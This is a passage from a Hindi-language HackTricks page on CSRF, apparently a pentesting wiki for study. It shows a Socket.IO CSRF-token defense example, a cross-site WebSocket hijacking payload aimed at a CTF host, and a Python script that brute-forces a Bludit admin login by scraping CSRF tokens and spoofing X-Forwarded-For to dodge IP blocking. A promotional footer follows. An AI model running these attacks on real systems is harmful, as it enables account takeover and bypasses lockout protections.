const csrfToken = generateCSRFToken();
io.on('connection', (socket) => {
socket.on('request', (data) => {
const { token, payload } = data;
if (validateCSRFToken(token)) {
// CSRF टोकन सत्यापित हो रहा है, अनुरोध स्वीकार करें
processRequest(payload);
} else {
// CSRF टोकन सत्यापित नहीं हो रहा है, अनुरोध को अस्वीकार करें
rejectRequest();
}
});
});
// क्लाइंट साइड
const socket = io.connect();
function sendRequest(payload) {
const token = getCSRFTokenFromLocalStorage();
socket.emit('request', { token, payload });
}
इस उदाहरण में, हमें सर्वर साइड पर generateCSRFToken
और validateCSRFToken
फ़ंक्शन बनाने की आवश्यकता होगी। generateCSRFToken
फ़ंक्शन CSRF टोकन उत्पन्न करेगा और उपयोगकर्ता के ब्राउज़र में संग्रहीत करेगा। validateCSRFToken
फ़ंक्शन CSRF टोकन को सत्यापित करेगा।
क्लाइंट साइड पर, हमें getCSRFTokenFromLocalStorage
फ़ंक्शन बनाने की आवश्यकता होगी जो CSRF टोकन को लोकल संग्रहीत करेगा। sendRequest
फ़ंक्शन CSRF टोकन के साथ अनुरोध भेजेगा।
इस तरह, हम Socket.IO के साथ CSRF अटैक को रोक सकते हैं और अपने उपयोगकर्ताओं को सुरक्षित रख सकते हैं।
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
CSRF लॉगिन ब्रूट फोर्स
यह कोड एक CSRF टोकन का उपयोग करके लॉगिन फॉर्म को ब्रूट फोर्स करने के लिए उपयोग किया जा सकता है (यह एक संभावित आईपी ब्लैकलिस्टिंग को बाइपास करने के लिए X-Forwarded-For हैडर का उपयोग भी कर रहा है):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
उपकरण
संदर्भ
- https://portswigger.net/web-security/csrf
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
HackenProof क्रिप्टो बग बाउंटी के लिए घर है।
देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी केवल तब शुरू होती हैं जब उनके ग्राहक पुरस्कार बजट जमा करते हैं। आपको पुरस्कार उस बग को सत्यापित करने के बाद मिलेगा।
वेब3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! उनके उभरते दिनों में वेब3 सुरक्षा को मास्टर करें।
वेब3 हैकर लीजेंड बनें
प्रत्येक सत्यापित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।
HackenProof पर साइन अप करें और अपने हैक्स से कमाई करना शुरू करें!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित हो? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की अनुमति चाहिए? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे ट्विटर 🐦@carlospolopm** का** अनुसरण करें।**
- अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से hacktricks repo और hacktricks-cloud repo को सबमिट करके।